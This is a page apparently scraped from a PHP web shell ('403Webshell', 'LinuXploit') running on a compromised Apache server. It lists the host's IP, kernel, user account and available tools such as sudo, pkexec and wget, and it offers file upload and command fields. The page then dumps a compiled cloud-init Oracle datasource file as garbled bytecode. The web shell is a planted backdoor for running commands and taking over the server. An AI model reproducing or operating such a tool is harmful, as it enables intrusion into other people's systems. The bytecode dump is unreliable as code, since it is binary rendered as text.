403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceOracle.cpython-36.pyc
3

��bX5�@sRdZddlZddlmZddlmZddlmZddlm	Z
ddlmZmZm
Z
ddlmZmZmZmZdd	lmZmZe
je�Zd
diZdZd
ZedZdZddiZedd�Zdd�Z Gdd�dej!�Z"dd�Z#dd�Z$dd�Z%dd�e&d�dd �Z'e"ej(ffgZ)d!d"�Z*ed#k�rNddl+Z+d$Z,e+j-e,d%�Z.e.j/�e0e
j1e'�e$�d&���dS)'a3Datasource for Oracle (OCI/Oracle Cloud Infrastructure)

Notes:
 * This datasource does not support OCI Classic. OCI Classic provides an EC2
   lookalike metadata service.
 * The UUID provided in DMI data is not the same as the meta-data provided
   instance-id, but has an equivalent lifespan.
 * We do need to support upgrade from an instance that cloud-init
   identified as OpenStack.
 * Bare metal instances use iSCSI root, virtual machine instances do not.
 * Both bare metal and virtual machine instances provide a chassis-asset-tag of
   OracleCloud.com.
�N)�
namedtuple)�suppress)�dmi)�log)�net�sources�util)�cmdline�dhcp�get_interfaces_by_mac�is_netfail_master)�UrlError�readurl�configure_secondary_nicsFzOracleCloud.comz&http://169.254.169.254/opc/v{version}/z{path}/i(#Z
Authorizationz
Bearer Oracle�OpcMetadataz version instance_data vnics_datacCsd|krdS|ddkr,tjd|d�dSt�}|ddkr�x�dd�|dD�D]@}|d	d
krRd|krR|d}|j|�}|s�qRqRt|�rR|d=qRWn�|ddk�rxp|jdi�j�D]\\}}d
|kr�|jd
i�jd�}|r�|j|�}|s�q�q�t|�r�|d
d=|d=||d
d<q�WdS)aP
    Search network config physical interfaces to see if any of them are
    a netfailover master.  If found, we prevent matching by MAC as the other
    failover devices have the same MAC but need to be ignored.

    Note: we rely on cloudinit.net changes which prevent netfailover devices
    from being present in the provided network config.  For more details about
    netfailover devices, refer to cloudinit.net module.

    :param network_config
       A v1 or v2 network config dict with the primary NIC, and possibly
       secondary nic configured.  This dict will be mutated.

    �versionN��z+Ignoring unknown network config version: %scSsg|]}d|kr|�qS)�type�)�.0�crr�&/usr/lib/python3.6/DataSourceOracle.py�
<listcomp>Lsz,_ensure_netfailover_safe.<locals>.<listcomp>�configr�physical�mac_address�	ethernets�match�
macaddresszset-name�name)rr)�LOG�debugr�getr�items)�network_configZmac_to_nameZcfgZmacZcur_name�_Zmacaddrrrr�_ensure_netfailover_safe0s<



r'cs~eZdZdZdZdZejjejj	ejj
ejjfZej
Z�fdd�Zdd�Zdd�Zd	d
�Zdd�Zed
d��Zdd�Z�ZS)�DataSourceOracleZOracleNcsBtt|�j|f|�|�d|_tjtj|d|jgi�tg�|_	dS)NZ
datasource)
�superr(�__init__�_vnics_datarZ
mergemanydictZget_cfg_by_path�dsname�BUILTIN_DS_CONFIG�ds_cfg)�self�sys_cfg�args�kwargs)�	__class__rrr*rs
zDataSourceOracle.__init__cCst�S)z@Check platform environment to report if this datasource may run.)�_is_platform_viable)r/rrrr4}sz$DataSourceOracle._is_platform_viablec
Cs�|j�sdSt�|_|jjdtd�}t�}t�sTtj	t
j�tj
ddd�td�d�}|�t|d�}WdQRX|j}|_tj
|jd	�|_|j|_|d
|dd|d
|dd�|_d|kr�|djd�}|r�tj|�|_|djd�|jd<dS)NFrr�instance)r�path)�url�headers)ZifaceZconnectivity_url_data)�fetch_vnics_data)rZ	ociAdName�idrZhostnameZdisplayName)zavailability-zonezinstance-idzlaunch-indexzlocal-hostnamer �metadata�	user_dataZssh_authorized_keys�public_keysT)r4�_read_system_uuid�system_uuidr.r#r-�noop�_is_iscsi_rootr
ZEphemeralDHCPv4rZfind_fallback_nic�METADATA_PATTERN�format�
V2_HEADERS�read_opc_metadata�
instance_dataZ_crawled_metadata�
METADATA_ROOTrZmetadata_address�
vnics_datar+r;�base64Z	b64decodeZuserdata_raw)r/r9Znetwork_contextZfetched_metadata�datar<rrr�	_get_data�s>
zDataSourceOracle._get_datacCstj|j�S)z�quickly check (local only) if self.instance_id is still valid

        On Oracle, the dmi-provided system uuid differs from the instance-id
        but has the same life-span.)rZinstance_id_matches_system_uuidr?)r/r0rrr�check_instance_id�sz"DataSourceOracle.check_instance_idcCstj|jjd��S)Nr=)rZnormalize_pubkey_datar;r#)r/rrr�get_public_ssh_keys�sz$DataSourceOracle.get_public_ssh_keyscCsx|jtjkrrtj�|_|js(|jj�|_|jjdt	d�rhy|j
�Wn tk
rftj
td�YnXt|j�|jS)z�Network config is read from initramfs provided files

        If none is present, then we fall back to fallback configuration.
        rz0Failed to parse secondary network configuration!)�_network_configr�UNSETr	�read_initramfs_configZdistroZgenerate_fallback_configr.r#r-�!_add_network_config_from_opc_imds�	Exceptionr�logexcr!r')r/rrrr%�s


zDataSourceOracle.network_configcCs�|jdkrtjd�dSd|jdkr4tjd�dSt�}x�|jdd�D]�}|dj�}||krptjd|�qJ||}|jd	dkr�d
|dd�}|jd
j|d|t|gd��qJ|jd	dkrJ|dgtddd|id�|jd|<qJWdS)avGenerate secondary NIC config from IMDS and merge it.

        The primary NIC configuration should not be modified based on the IMDS
        values, as it should continue to be configured for DHCP.  As such, this
        uses the instance's network config dict which is expected to have the
        primary NIC configuration already present.
        It will mutate the network config to include the secondary VNICs.

        :raises:
            Exceptions are not handled within this function.  Likely
            exceptions are KeyError/IndexError
            (if the IMDS returns valid JSON with unexpected contents).
        Nz-Secondary NIC data is UNSET but should not beZnicIndexrz\VNIC metadata indicates this is a bare metal machine; skipping secondary VNIC configuration.rZmacAddrz)Interface with MAC %s not found; skippingrZstaticZ	privateIp)rZaddressrr)r rr�mtuZsubnetsrFr)Z	addressesrTZdhcp4Zdhcp6rr)	r+r!Zwarningr�lowerr"rN�append�MTU)r/Zinterfaces_by_macZ	vnic_dictrr ZsubnetrrrrQ�s<


z2DataSourceOracle._add_network_config_from_opc_imds)�__name__�
__module__�__qualname__r,r?Zvendordata_purerZNetworkConfigSourcer	Z
system_cfgZdsZ	initramfsZnetwork_config_sourcesrOrNr*r4rKrLrM�propertyr%rQ�
__classcell__rr)r3rr(ds
2"r(cCstjd�}|dkrdS|j�S)Nzsystem-uuid)r�
read_dmi_datarU)Zsys_uuidrrrr>%s
r>cCstjd�}|tkS)Nzchassis-asset-tag)rr]�CHASSIS_ASSET_TAG)Z	asset_tagrrrr4*s
r4cCsttj��S)N)�boolr	rPrrrrrA/srA)r9cs�d�tttd��fdd�}d}y||dd�}Wn$tk
rRd}||dd�}YnXd}|r�y||d	d�}Wn tk
r�tjtd
�YnXt|||�S)aCFetch metadata from the /opc/ routes.

    :return:
        A namedtuple containing:
          The metadata version as an integer
          The JSON-decoded value of the instance data endpoint on the IMDS
          The JSON-decoded value of the vnics data endpoint if
            `fetch_vnics_data` is True, else None

    r)�metadata_versionr6�returncs*ttj||d�|dkrtnd�d�jj�S)N)rr6r)r7r8�retries)rrBrCrDZ	_responseZjson)r`r6)rbrr�_fetchCsz!read_opc_metadata.<locals>._fetchr5)r6rNZvnicsz0Failed to fetch secondary network configuration!)�int�str�dictr
rrSr!r)r9rcr`rFrHr)rbrrE3s rEcCstj|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_listcsrh�__main__z�
        Query Oracle Cloud metadata and emit a JSON object with two keys:
        `read_opc_metadata` and `_is_platform_viable`.  The values of each are
        the return values of the corresponding functions defined in
        DataSourceOracle.py.)�description)rEr4)2�__doc__rI�collectionsr�
contextlibrr@Z	cloudinitrrZloggingrrrZ
cloudinit.netr	r
rrZcloudinit.url_helperr
rZ	getLoggerrXr!r-r^rGrBrWrDrr'Z
DataSourcer(r>r4rAr_rEZDEP_FILESYSTEMrgrh�argparserj�ArgumentParser�parser�
parse_args�printZ
json_dumpsrrrr�<module>sD

4B+


Youez - 2016 - github.com/yon3zu
LinuXploit